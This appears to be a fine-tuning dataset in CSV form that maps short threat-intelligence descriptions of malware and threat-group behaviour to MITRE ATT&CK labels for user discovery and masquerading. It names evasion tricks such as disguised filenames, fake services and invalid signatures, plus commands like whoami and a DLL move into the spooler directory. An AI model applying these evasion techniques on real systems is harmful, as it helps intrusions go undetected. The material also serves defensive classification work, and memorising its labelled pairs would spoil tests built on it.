FlawedAmmyy enumerates the current user during the initial infection.,['T1033 - System Owner/User Discovery'],fine_tune
FunnyDream has the ability to gather user information from the targeted system using `whoami/upn&whoami/fqdn&whoami/logonid&whoami/all`.,['T1033 - System Owner/User Discovery'],fine_tune
"GALLIUM used ""whoami"" and ""query user"" to obtain information about the victim user.",['T1033 - System Owner/User Discovery'],fine_tune
Gelsemium has the ability to distinguish between a standard user and an administrator on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
Get2 has the ability to identify the current username of an infected host.,['T1033 - System Owner/User Discovery'],fine_tune
Gold Dragon collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
"GravityRAT collects the victim username along with other account information (account type, description, full name, SID and status).",['T1033 - System Owner/User Discovery'],fine_tune
HAWKBALL can collect the user name of the system.,['T1033 - System Owner/User Discovery'],fine_tune
HotCroissant has the ability to collect the username on the infected host.,['T1033 - System Owner/User Discovery'],fine_tune
KONNI can collect the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
Ke3chang has used implants capable of collecting the signed-in username.,['T1033 - System Owner/User Discovery'],fine_tune
Koadic can identify logged in users across the domain and views user sessions.,['T1033 - System Owner/User Discovery'],fine_tune
"Kwampirs collects registered owner details by using the commands ""systeminfo"" and ""net config workstation"".",['T1033 - System Owner/User Discovery'],fine_tune
Linux Rabbit opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain.,['T1033 - System Owner/User Discovery'],fine_tune
LiteDuke can enumerate the account name on a targeted system.,['T1033 - System Owner/User Discovery'],fine_tune
Lizar can collect the username from the system.,['T1033 - System Owner/User Discovery'],fine_tune
MacMa can collect the username from the compromised machine.,['T1033 - System Owner/User Discovery'],fine_tune
MarkiRAT can retrieve the victim’s username.,['T1033 - System Owner/User Discovery'],fine_tune
Micropsia collects the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
Milan can identify users registered to a targeted machine.,['T1033 - System Owner/User Discovery'],fine_tune
MirageFox can gather the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
Mis-Type runs tests to determine the privilege level of the compromised user.,['T1033 - System Owner/User Discovery'],fine_tune
More_eggs has the capability to gather the username from the victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
"Mosquito runs ""whoami"" on the victim’s machine.",['T1033 - System Owner/User Discovery'],fine_tune
NBTscan can list active users on the system.,['T1033 - System Owner/User Discovery'],fine_tune
NDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel.,['T1033 - System Owner/User Discovery'],fine_tune
NOKKI can collect the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
NanHaiShu collects the username from the victim.,['T1033 - System Owner/User Discovery'],fine_tune
Neoichor can collect the user name from a victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
ObliqueRAT can check for blocklisted usernames on infected endpoints.,['T1033 - System Owner/User Discovery'],fine_tune
Octopus can collect the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
"OilRig has run ""whoami"" on a victim.",['T1033 - System Owner/User Discovery'],fine_tune
Okrum can collect the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
"Operation Wocao has enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.",['T1033 - System Owner/User Discovery'],fine_tune
POWERSTATS has the ability to identify the username on the compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
"POWRUNER may collect information about the currently logged in user by running ""whoami"" on a victim.",['T1033 - System Owner/User Discovery'],fine_tune
"Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server.",['T1033 - System Owner/User Discovery'],fine_tune
"PoetRAT sent username, computer name, and the previously generated UUID in reply to a ""who"" command from C2.",['T1033 - System Owner/User Discovery'],fine_tune
PowerShower has the ability to identify the current user on the infected host.,['T1033 - System Owner/User Discovery'],fine_tune
"PyDCrypt has probed victim machines with ""whoami"" and has collected the username from the machine.",['T1033 - System Owner/User Discovery'],fine_tune
QUADAGENT gathers the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
QakBot can identify the user name on a compromised system.,['T1033 - System Owner/User Discovery'],fine_tune
QuasarRAT can enumerate the username and account type.,['T1033 - System Owner/User Discovery'],fine_tune
"RATANKBA runs the ""whoami"" and ""query user"" commands.",['T1033 - System Owner/User Discovery'],fine_tune
"RCSession can gather system owner information, including user and administrator privileges.",['T1033 - System Owner/User Discovery'],fine_tune
"RGDoor executes the ""whoami"" on the victim’s machine.",['T1033 - System Owner/User Discovery'],fine_tune
ROKRAT can collect the username from a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
RTM can obtain the victim username and permissions.,['T1033 - System Owner/User Discovery'],fine_tune
RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions.,['T1033 - System Owner/User Discovery'],fine_tune
Remsec can obtain information about the current user.,['T1033 - System Owner/User Discovery'],fine_tune
Revenge RAT gathers the username from the system.,['T1033 - System Owner/User Discovery'],fine_tune
Rifdoor has the ability to identify the username on the compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
Rising Sun can detect the username of the infected host.,['T1033 - System Owner/User Discovery'],fine_tune
SDBbot has the ability to identify the user on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
SLOTHFULMEDIA has collected the username from a victim machine.,['T1033 - System Owner/User Discovery'],fine_tune
"SMOKEDHAM has used ""whoami"" commands to identify system owners.",['T1033 - System Owner/User Discovery'],fine_tune
STARWHALE can gather the username from an infected host.,['T1033 - System Owner/User Discovery'],fine_tune
SUNBURST collected the username from a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
ServHelper will attempt to enumerate the username of the victim.,['T1033 - System Owner/User Discovery'],fine_tune
SideTwist can collect the username on a targeted system.,['T1033 - System Owner/User Discovery'],fine_tune
Small Sieve can obtain the id of a logged in user.,['T1033 - System Owner/User Discovery'],fine_tune
SodaMaster can identify the username on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
"SombRAT can execute ""getinfo""  to identify the username on a compromised host.",['T1033 - System Owner/User Discovery'],fine_tune
Squirrelwaffle can collect the user name from a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
SslMM sends the logged-on username to its hard-coded C2.,['T1033 - System Owner/User Discovery'],fine_tune
Stealth Falcon malware gathers the registered user and primary owner name via WMI.,['T1033 - System Owner/User Discovery'],fine_tune
StrifeWater can collect the user name from the victim's machine.,['T1033 - System Owner/User Discovery'],fine_tune
SynAck gathers user names from infected hosts.,['T1033 - System Owner/User Discovery'],fine_tune
T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.,['T1033 - System Owner/User Discovery'],fine_tune
The OsInfo function in Komplex collects the current running username.,['T1033 - System Owner/User Discovery'],fine_tune
TrickBot can identify the user and groups the user belongs to on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
Trojan.Karagany can gather information about the user on a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
UPPERCUT has the capability to collect the current logged on user’s username from a machine.,['T1033 - System Owner/User Discovery'],fine_tune
Valak can gather information regarding the user.,['T1033 - System Owner/User Discovery'],fine_tune
WINDSHIELD can gather the victim user name.,['T1033 - System Owner/User Discovery'],fine_tune
WINERACK can gather information on the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
WellMail can identify the current username on the victim system.,['T1033 - System Owner/User Discovery'],fine_tune
WinMM uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system.,['T1033 - System Owner/User Discovery'],fine_tune
"Wizard Spider has used ""whoami"" to identify the local user and their privileges.",['T1033 - System Owner/User Discovery'],fine_tune
XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user.,['T1033 - System Owner/User Discovery'],fine_tune
ZIRCONIUM has used a tool to capture the username on a compromised host in order to register it with C2.,['T1033 - System Owner/User Discovery'],fine_tune
Zebrocy gets the username from the system.,['T1033 - System Owner/User Discovery'],fine_tune
ZxxZ can collect the username from a compromised host.,['T1033 - System Owner/User Discovery'],fine_tune
njRAT enumerates the current user during the initial infection.,['T1033 - System Owner/User Discovery'],fine_tune
zwShell can obtain the name of the logged-in user on the victim.,['T1033 - System Owner/User Discovery'],fine_tune
APT28 has renamed the WinRAR utility to avoid detection.,['T1036 - Masquerading'],fine_tune
AppleSeed can disguise JavaScript files as PDFs.,['T1036 - Masquerading'],fine_tune
Bisonal dropped a decoy payload with a .jpg extension that contained a malicious Visual Basic script.,['T1036 - Masquerading'],fine_tune
BoomBox has the ability to mask malicious data strings as PDF files.,['T1036 - Masquerading'],fine_tune
Dragonfly 2.0 created accounts disguised as legitimate backup and service accounts as well as an email administration account.,['T1036 - Masquerading'],fine_tune
Dragonfly has created accounts disguised as legitimate backup and service accounts as well as an email administration account.,['T1036 - Masquerading'],fine_tune
EnvyScout has used folder icons for malicious files to lure victims into opening them.,['T1036 - Masquerading'],fine_tune
Flagpro can download malicious files with a .tmp extension and append them with .exe prior to execution.,['T1036 - Masquerading'],fine_tune
"For Operation Dust Storm, the threat actors disguised some executables as JPG files.",['T1036 - Masquerading'],fine_tune
"Kimsuky has disguised its C2 addresses as the websites of shopping malls, governments, universities, and others.",['T1036 - Masquerading'],fine_tune
Lazarus Group has disguised malicious template files as JPEG files to avoid detection.,['T1036 - Masquerading'],fine_tune
LazyScripter has used several different security software icons to disguise executables.,['T1036 - Masquerading'],fine_tune
Milan has used an executable named `companycatalogue` to appear benign.,['T1036 - Masquerading'],fine_tune
Mustang Panda has used an additional filename extension to hide the true file type.,"['T1036 - Masquerading', 'T1036.007 - Masquerading: Double File Extension']",fine_tune
"NativeZone has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system.",['T1036 - Masquerading'],fine_tune
Nomadic Octopus attempted to make Octopus appear as a  Telegram Messenger with a Russian interface.,['T1036 - Masquerading'],fine_tune
NotPetya drops PsExec with the filename dllhost.dat.,['T1036 - Masquerading'],fine_tune
PLATINUM has renamed rar.exe to avoid detection.,['T1036 - Masquerading'],fine_tune
PowGoop has disguised a PowerShell script as a .dat file (goopdate.dat).,['T1036 - Masquerading'],fine_tune
QuasarRAT has dropped binaries as files named microsoft_network.exe and crome.exe.,['T1036 - Masquerading'],fine_tune
RCSession has used a file named English.rtf to appear benign on victim hosts.,['T1036 - Masquerading'],fine_tune
Raindrop was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.,['T1036 - Masquerading'],fine_tune
Ryuk can create .dll files that actually contain a Rich Text File format document.,['T1036 - Masquerading'],fine_tune
Saint Bot has renamed malicious binaries as `wallpaper.mp4` and `slideshow.mp4` to avoid detection.,['T1036 - Masquerading'],fine_tune
SombRAT can use a legitimate process name to hide itself.,['T1036 - Masquerading'],fine_tune
The QakBot payload has been disguised as a PNG file.,['T1036 - Masquerading'],fine_tune
TrailBlazer has used filenames that match the name of the compromised system in attempt to avoid detection.,['T1036 - Masquerading'],fine_tune
UNC2452 set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.,['T1036 - Masquerading'],fine_tune
WhisperGate has been disguised as a JPG extension to avoid detection as a malicious PE file.,['T1036 - Masquerading'],fine_tune
"XCSSET builds a malicious application bundle to resemble Safari through using the Safari icon and ""Info.plist"".",['T1036 - Masquerading'],fine_tune
menuPass has used esentutl to change file extensions to their true type that were masquerading as .txt files.,['T1036 - Masquerading'],fine_tune
APT37 has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”,['T1036.001 - Invalid Code Signature'],fine_tune
BADNEWS is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.,['T1036.001 - Invalid Code Signature'],fine_tune
Gelsemium has used unverified signatures on malicious DLLs.,['T1036.001 - Invalid Code Signature'],fine_tune
PcShare has used an invalid certificate in attempt to appear legitimate.,['T1036.001 - Invalid Code Signature'],fine_tune
WindTail has been incompletely signed with revoked certificates.,['T1036.001 - Invalid Code Signature'],fine_tune
Windshift has used revoked certificates to sign malware.,['T1036.001 - Invalid Code Signature'],fine_tune
BlackTech has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.,['T1036.002 - Right-to-Left Override'],fine_tune
"Ferocious Kitten has used right-to-left override to reverse executables’ names to make them appear to have different file extensions, rather than their real ones.",['T1036.002 - Right-to-Left Override'],fine_tune
Ke3chang has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.,['T1036.002 - Right-to-Left Override'],fine_tune
Scarlet Mimic has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.,['T1036.002 - Right-to-Left Override'],fine_tune
APT32 has moved and renamed pubprn.vbs to a .txt file to avoid detection.,['T1036.003 - Masquerading: Rename System Utilities'],fine_tune
Kevin has renamed an image of `cmd.exe` with a random name followed by a `.tmpl` extension.,['T1036.003 - Masquerading: Rename System Utilities'],fine_tune
"Lazarus Group has renamed system utilities such as ""wscript.exe"" and ""mshta.exe"".",['T1036.003 - Masquerading: Rename System Utilities'],fine_tune
The CozyCar dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.,['T1036.003 - Masquerading: Rename System Utilities'],fine_tune
"A Lazarus Group custom backdoor implant included a custom PE loader named ""Security Package"" that was added into the lsass.exe process via registry key.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
APT-C-36 has disguised its scheduled tasks as those used by Google.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"APT29 named tasks ""\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager"" in order to appear legitimate.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
APT41 has created services to appear as benign system tools.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
BITTER has disguised malware as a Windows Security update service.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Bazar can create a task named to appear benign.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
CSPY Downloader has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Carbanak has copied legitimate service names to use for malicious services.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Catchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
ComRAT has used a task name associated with Windows SQM Consolidator.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Crutch has established persistence with a scheduled task impersonating the Outlook item finder.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
DCSrv has masqueraded its service as a legitimate svchost.exe process.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Egregor has masqueraded the svchost.exe process to exfiltrate data.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"FIN6 has renamed the ""psexec"" service name to ""mstdc"" to masquerade as a legitimate Windows service.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
FIN7 has created a scheduled task named “AdobeFlashSync” to establish persistence.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
FunnyDream has used a service named `WSearch` for execution.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Fysbis has masqueraded as the rsyncd and dbus-inotifier services.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
GoldMax has impersonated systems management software to avoid detection.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Green Lambert has created a new executable named `Software Update Check` to appear legitimate.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Heyoka Backdoor has been named `srvdll.dll` to appear as a legitimate service.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Higaisa named a shellcode loader binary ""svchast.exe"" to spoof the legitimate ""svchost.exe"".",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Hildegard has disguised itself as a known Linux process.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"In one instance, menuPass added PlugX as a service with a display name of ""Corel Writing Tools Utility.""",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
IronNetInjector has been disguised as a legitimate service using the name PythonUpdateSrvc.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
KillDisk registers as a service under the Plug-And-Play Support name.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Kimsuky has disguised services to appear as benign software or related to operating system functions.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Machete renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Naikon renamed a malicious service ""taskmgr"" to appear to be a legitimate version of Task Manager.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Nebulae has created a service named ""Windows Update Agent1"" to appear legitimate.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
OSX_OCEANLOTUS.D has disguised its app bundle by adding special characters to the filename and using the icon for legitimate Word documents.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Okrum can establish persistence by adding a new service NtmsSvc with the display name Removable Storage to masquerade as a legitimate Removable Storage Manager.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"POWERSTATS has created a scheduled task named ""MicrosoftEdge"" to establish persistence.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
PROMETHIUM has named services to appear legitimate.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"PingPull can mimic the names and descriptions of legitimate services such as `iphlpsvc`, `IP Helper`,  and `Onedrive` to evade detection.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"SUGARDUMP's scheduled task has been named `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` or `MicrosoftEdgeCrashRepoeterTaskMachineUA`, depending on the Windows OS version.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Seasalt has masqueraded as a service called ""SaSaut"" with a display name of ""System Authorization Service"" in an apparent attempt to masquerade as a legitimate service.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Shamoon creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.” Newer versions create the ""MaintenaceSrv"" service, which misspells the word ""maintenance.""",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
ShimRat can impersonate Windows services and antivirus products to avoid detection on compromised systems.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
Tarrask creates a scheduled task called “WinUpdate” to re-establish any dropped  C2 connections.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV” in an apparent attempt to masquerade as a legitimate service.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"To establish persistence, Truvasys adds a Registry Run key with a value ""TaskMgr"" in an attempt to masquerade as the legitimate Windows Task Manager.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"UNC2452 named tasks ""\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager"" in order to appear legitimate.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Wizard Spider has used scheduled tasks to install TrickBot, using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf. It has also used common document file names for other malware binaries.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"ZIRCONIUM has created a run key named ""Dropbox Update Setup"" to mask a persistence mechanism for a malicious binary.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
ZxxZ has been disguised as a Windows security update service.,['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"build_downer has added itself to the Registry Run key as ""NVIDIA"" to appear legitimate.",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"A Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"APT28 has changed extensions on files containing exfiltrated data to make them appear benign, and renamed a web shell instance to appear as a legitimate OWA page.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
APT29 renamed software and DLL's with legitimate names to appear benign.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. APT32 has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
AppleSeed has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
BADNEWS attempts to hide its payloads using legitimate filenames.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"BLINDINGCAN has attempted to hide its payload by using legitimate file names such as ""iconcache.db"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
BRONZE BUTLER has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
BackdoorDiplomacy has dropped implants in folders named for legitimate software.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Bad Rabbit has masqueraded as a Flash Player installer through the executable file ""install_flash_player.exe"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Blue Mockingbird has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Bumblebee has named component DLLs ""RapportGP.dll"" to match those used by the security company Trusteer.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Bundlore has disguised a malicious .app file as a Flash Player update.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Carbanak has named malware ""svchost.exe,"" which is the name of the Windows shared service host program.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Carberp has masqueraded as Windows system file names, as well as ""chkntfs.exe"" and ""syscron.exe"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Chaes has used an unsigned, crafted DLL module named ""hha.dll"" that was designed to look like a legitimate 32-bit Windows DLL.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Cuba has been disguised as legitimate 360 Total Security Antivirus and OpenVPN programs.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"DRATzarus has been named `Flash.exe`, and its dropper has been named `IExplorer`.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
DanBot files have been named `UltraVNC.exe` and `WINVNC.exe` to appear as legitimate VNC tools.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Darkhotel has used malware that is disguised as a Secure Shell (SSH) tool.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"During Operation CuckooBees, the threat actors renamed a malicious executable to `rundll32.exe` to allow it to blend in with other Windows system files.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"During Operation Honeybee, the threat actors used a legitimate Windows executable and secure directory for their payloads to bypass UAC.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"During Operation Sharpshooter, threat actors installed Rising Sun in the Startup folder and disguised it as `mssync.exe`.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"During Operation Wocao, the threat actors renamed some tools and executables to appear as legitimate programs.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Earth Lusca used the command `move [file path] c:\windows\system32\spool\prtprocs\x64\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
FIN7 has attempted to run Darkside ransomware with the filename sleep.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Felismus has masqueraded as legitimate Adobe Content Management System files.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Ferocious Kitten has named malicious files ""update.exe"" and loaded them into the compromise host's “Public” folder.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
FinFisher renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"FoggyWeb can be disguised as a Visual Studio file such as `Windows.Data.TimeZones.zh-PH.pri` to evade detection. Also, FoggyWeb's loader can mimic a genuine `dll` file that carries out the same import functions as the legitimate Windows `version.dll` file.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Fox Kitten has named binaries and configuration files svhost and dllhost respectively to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Fysbis has masqueraded as trusted software rsyncd and dbus-inotifier.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Gamaredon Group has used legitimate process names to hide malware including ""svchosst"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Gelsemium has named malicious binaries `serv.exe`, `winprint.dll`, and `chrome_elf.dll` and has set its persistence in the Registry with the key value ""Chrome Update"" to appear legitimate.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"GoldenSpy's setup file installs initial executables under the folder ""%WinDir%\System32\PluginManager"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Goopy has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Grandoreiro has named malicious browser extensions and update files to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Green Lambert has been disguised as a Growl help file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
HermeticWiper has used the name `postgressql.exe` to mask a malicious payload.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
HermeticWizard has been named `exec_32.dll` to mimic a legitimate MS Outlook .dll.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
IceApple .NET assemblies have used `App_Web_` in their file names to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"If installing itself as a service fails, Elise instead writes itself as a file named svchost.exe saved in %APPDATA%\Microsoft\Network.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Indrik Spider used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
InnaputRAT variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"InvisiMole has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
KGH_SPY has masqueraded as a legitimate Windows tool.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"KONNI has created a shortcut called ""Anti virus service.lnk"" in an apparent attempt to masquerade as a legitimate file.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Ke3chang has dropped their malware into legitimate installed software paths including: `C:\ProgramFiles\Realtek\Audio\HDA\AERTSr.exe`, `C:\Program Files (x86)\Foxit Software\Foxit Reader\FoxitRdr64.exe`, `C:\Program Files (x86)\Adobe\Flash Player\AddIns\airappinstaller\airappinstall.exe`, and `C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd64.exe`.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Kimsuky has renamed malware to legitimate names such as ""ESTCommon.dll"" or ""patch.dll"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Lazarus Group has renamed malicious code to disguise it as Microsoft's narrator and other legitimate files.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"LookBack has a C2 proxy tool that masquerades as ""GUP.exe"", which is software used by Notepad++.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
MCMD has been named Readme.txt to appear legitimate.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Machete renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Machete's Machete MSI installer has masqueraded as a legitimate Adobe Acrobat Reader installer.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"MarkiRAT can masquerade as ""update.exe"" and ""svehost.exe""; it has also mimicked legitimate Telegram and Chrome files.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"MechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Metamorfo has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Misdat saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
